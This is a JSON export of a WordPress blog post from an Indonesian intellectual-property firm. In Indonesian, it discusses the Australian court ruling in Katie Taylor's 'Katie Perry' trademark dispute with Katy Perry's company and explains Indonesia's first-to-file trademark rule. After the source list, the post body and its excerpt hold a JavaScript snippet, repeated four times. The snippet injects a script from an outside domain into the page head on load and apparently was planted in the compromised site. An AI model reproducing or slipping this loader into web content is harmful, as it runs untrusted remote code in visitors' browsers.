{"id":8089,"date":"2023-05-26T01:00:13","date_gmt":"2023-05-26T01:00:13","guid":{"rendered":"http:\/\/affa.co.id\/bhs\/2023\/05\/26\/katy-perry-v-katie-perry-terkenal-bukan-garansi-menang\/"},"modified":"2023-05-26T01:00:13","modified_gmt":"2023-05-26T01:00:13","slug":"katy-perry-v-katie-perry-terkenal-bukan-garansi-menang","status":"publish","type":"post","link":"https:\/\/affa.co.id\/bhs\/2023\/05\/26\/katy-perry-v-katie-perry-terkenal-bukan-garansi-menang\/","title":{"rendered":"Katy Perry v Katie Perry &#8211; Terkenal Bukan Garansi Menang!"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Dalam sebuah sengketa merek, tidak selamanya nama besar jadi pemenang. Saat <\/span><i><span style=\"font-weight: 400\">Katy Perry<\/span><\/i><span style=\"font-weight: 400\">, pemilik lima <\/span><i><span style=\"font-weight: 400\">Billboard Music Awards<\/span><\/i><span style=\"font-weight: 400\">, juri <\/span><i><span style=\"font-weight: 400\">American Idol <\/span><\/i><span style=\"font-weight: 400\">dengan pengikut 108 juta di <\/span><i><span style=\"font-weight: 400\">twitter<\/span><\/i><span style=\"font-weight: 400\"> mengadakan konser di Australia pada 2014 dan 2018, ia menjual banyak produk fashion melalui kanal retail &amp; media sosial, dengan menggunakan merek \u201c<\/span><a href=\"https:\/\/shop.katyperry.com\/\"><span style=\"font-weight: 400\">Katy Perry<\/span><\/a><span style=\"font-weight: 400\">,\u201d yang dimiliki oleh perusahaan miliknya <\/span><span style=\"font-weight: 400\">Killer Queen, LLC.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Namun di Australia ternyata sudah ada merek serupa, dengan penyebutan kurang lebih sama, yakni \u201cKatie Perry\u201d (dengan ie) yang sudah didaftarkan oleh seorang desainer bernama Katie Taylor, sejak 2008 di kelas 25 <\/span><i><span style=\"font-weight: 400\">(fashion)<\/span><\/i><span style=\"font-weight: 400\">. Pada tahun 2009, sebetulnya pengacara <\/span><i><span style=\"font-weight: 400\">Katy Perry <\/span><\/i><span style=\"font-weight: 400\">sudah berusaha mengajukan pembatalan merek milik Katie dan mengirimkan surat <\/span><i><span style=\"font-weight: 400\">\u201c<\/span><\/i><i><span style=\"font-weight: 400\">Cease and Desist Order\u201d<\/span><\/i><span style=\"font-weight: 400\"> agar ia tidak menggunakan merek itu lagi, namun upaya tersebut tidak dilanjutkan.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Setelah konser <\/span><i><span style=\"font-weight: 400\">Katy Perry <\/span><\/i><span style=\"font-weight: 400\">di tahun 2018 yang kembali menjual produk fashion, <\/span><i><span style=\"font-weight: 400\">Katie <\/span><\/i><span style=\"font-weight: 400\">memutuskan untuk melakukan serangan balik dengan melaporkan <\/span><i><span style=\"font-weight: 400\">\u201cKaty Perry,\u201d<\/span><\/i><span style=\"font-weight: 400\"> karena sudah mengabaikan keberadaan <\/span><i><span style=\"font-weight: 400\">\u201cKatie Perry\u201d<\/span><\/i><span style=\"font-weight: 400\"> yang memiliki persamaan bunyi (<\/span><i><span style=\"font-weight: 400\">homophonous<\/span><\/i><span style=\"font-weight: 400\">), dan sudah resmi terdaftar sebelumnya di<\/span><i><span style=\"font-weight: 400\"> IP Australia<\/span><\/i><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Hingga akhirnya pada hari Kamis, 27 April 2023, hakim pengadilan federal Australia <\/span><i><span style=\"font-weight: 400\">Brigitte Markovic<\/span><\/i><span style=\"font-weight: 400\"> memutuskan bahwa <\/span><i><span style=\"font-weight: 400\">Killer Queen, LLC.<\/span><\/i><span style=\"font-weight: 400\"> terbukti melanggar sebagian merek milik <\/span><i><span style=\"font-weight: 400\">Katie Taylor<\/span><\/i><span style=\"font-weight: 400\">, dan mewajibkannya mengganti kerugian dengan sejumlah nominal yang akan diputuskan kemudian.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Atas kemenangan ini, <\/span><i><span style=\"font-weight: 400\">Katie Taylor <\/span><\/i><span style=\"font-weight: 400\">membuat pernyataan melalui <\/span><i><span style=\"font-weight: 400\">website<\/span><\/i><span style=\"font-weight: 400\">-nya, \u201cSaya tidak hanya berjuang untuk diri saya sendiri, tapi saya berjuang untuk bisnis kecil di negara ini, yang kebanyakan didirikan oleh perempuan. Ini adalah bukti bahwa kita bisa melawan pihak dari luar yang memiliki kekuatan finansial lebih daripada kami.\u201d<\/span><\/p>\n<p><span style=\"font-weight: 400\">Kemenangan ini tentu tidak dapat diwujudkan jika Katie tidak mendaftarkan mereknya terlebih dahulu. Karena dengan terdaftarnya sebuah merek, pemilik mendapatkan haknya, dan negara memberikan perlindungan hukum agar merek tersebut tidak dilanggar hak ekonominya.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Di Indonesia sendiri, suatu Merek hanya dapat dilindungi apabila diajukan terlebih dahulu permohonan pendaftarannya dan penggunaan terlebih dahulu dari Merek tersebut tidak dapat dijadikan alasan sebagai perlindungan Merek tersebut. Hal ini dikarenakan pendekatan <\/span><i><span style=\"font-weight: 400\">First to File<\/span><\/i><span style=\"font-weight: 400\"> yang diadopsi oleh Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika Anda membutuhkan informasi lebih lanjut mengenai <\/span><a href=\"https:\/\/affa.co.id\/\"><span style=\"font-weight: 400\">pendaftaran Merek<\/span><\/a><span style=\"font-weight: 400\"> di Indonesia dan negara lainnya, jangan ragu untuk menghubungi kami melalu <\/span><a href=\"mailto:trademark@affa.co.id\"><span style=\"font-weight: 400\">trademark@affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Sumber:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><a href=\"https:\/\/www.reuters.com\/lifestyle\/katy-perry-loses-trademark-fight-with-australian-fashion-designer-2023-04-28\/\"><span style=\"font-weight: 400\">Reuters.com<\/span><\/a><\/li>\n<li style=\"font-weight: 400\"><a href=\"https:\/\/9now.nine.com.au\/a-current-affair\/katy-perry-court-case-pop-star-clothes-alleged-trademark-infringement\/c3578667-bb8a-4199-866a-d0994eea161f\"><span style=\"font-weight: 400\">Nine.com.au<\/span><\/a><\/li>\n<li style=\"font-weight: 400\"><a href=\"https:\/\/branddb.wipo.int\/en\/similarname\/brand\/AU502008001264761?strategy=exact&amp;brandName=katie%20perry&amp;rows=30&amp;sort=score%20desc&amp;start=0&amp;designation=AU&amp;_=1683650398937&amp;i=0\"><span style=\"font-weight: 400\">WIPO Global Brand Database<\/span><\/a><\/li>\n<\/ul>\n<p>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dalam sebuah sengketa merek, tidak selamanya nama besar jadi pemenang. Saat Katy Perry, pemilik lima Billboard Music Awards, juri American Idol dengan pengikut 108 juta di twitter mengadakan konser di Australia pada 2014 dan 2018, ia menjual banyak produk fashion melalui kanal retail &amp; media sosial, dengan menggunakan merek \u201cKaty Perry,\u201d yang dimiliki oleh perusahaan miliknya Killer Queen, LLC. Namun di Australia ternyata sudah ada merek serupa, dengan penyebutan kurang lebih sama, yakni \u201cKatie Perry\u201d (dengan ie) yang sudah didaftarkan oleh seorang desainer bernama Katie Taylor, sejak 2008 di kelas 25 (fashion). Pada tahun 2009, sebetulnya pengacara Katy Perry sudah berusaha mengajukan pembatalan merek milik Katie dan mengirimkan surat \u201cCease and Desist Order\u201d agar ia tidak menggunakan merek itu lagi, namun upaya tersebut tidak dilanjutkan. Setelah konser Katy Perry di tahun 2018 yang kembali menjual produk fashion, Katie memutuskan untuk melakukan serangan balik dengan melaporkan \u201cKaty Perry,\u201d karena sudah mengabaikan keberadaan \u201cKatie Perry\u201d yang memiliki persamaan bunyi (homophonous), dan sudah resmi terdaftar sebelumnya di IP Australia. Hingga akhirnya pada hari Kamis, 27 April 2023, hakim pengadilan federal Australia Brigitte Markovic memutuskan bahwa Killer Queen, LLC. terbukti melanggar sebagian merek milik Katie Taylor, dan mewajibkannya mengganti kerugian dengan sejumlah nominal yang akan diputuskan kemudian. Atas kemenangan ini, Katie Taylor membuat pernyataan melalui website-nya, \u201cSaya tidak hanya berjuang untuk diri saya sendiri, tapi saya berjuang untuk bisnis kecil di negara ini, yang kebanyakan didirikan oleh perempuan. Ini adalah bukti bahwa kita bisa melawan pihak dari luar yang memiliki kekuatan finansial lebih daripada kami.\u201d Kemenangan ini tentu tidak dapat diwujudkan jika Katie tidak mendaftarkan mereknya terlebih dahulu. Karena dengan terdaftarnya sebuah merek, pemilik mendapatkan haknya, dan negara memberikan perlindungan hukum agar merek tersebut tidak dilanggar hak ekonominya. Di Indonesia sendiri, suatu Merek hanya dapat dilindungi apabila diajukan terlebih dahulu permohonan pendaftarannya dan penggunaan terlebih dahulu dari Merek tersebut tidak dapat dijadikan alasan sebagai perlindungan Merek tersebut. Hal ini dikarenakan pendekatan First to File yang diadopsi oleh Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis. &nbsp; Jika Anda membutuhkan informasi lebih lanjut mengenai pendaftaran Merek di Indonesia dan negara lainnya, jangan ragu untuk menghubungi kami melalu trademark@affa.co.id. Sumber: Reuters.com Nine.com.au WIPO Global Brand Database var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":0,"featured_media":8090,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[318,359,712,713,714,715,298,305,306,307,308,309,310,314],"class_list":["post-8089","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-trademark","tag-infringement","tag-kattie","tag-perry","tag-sengketa","tag-katy","tag-merek","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise"],"_links":{"self":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/8089","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=8089"}],"version-history":[{"count":0,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/8089\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/8090"}],"wp:attachment":[{"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=8089"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=8089"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=8089"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}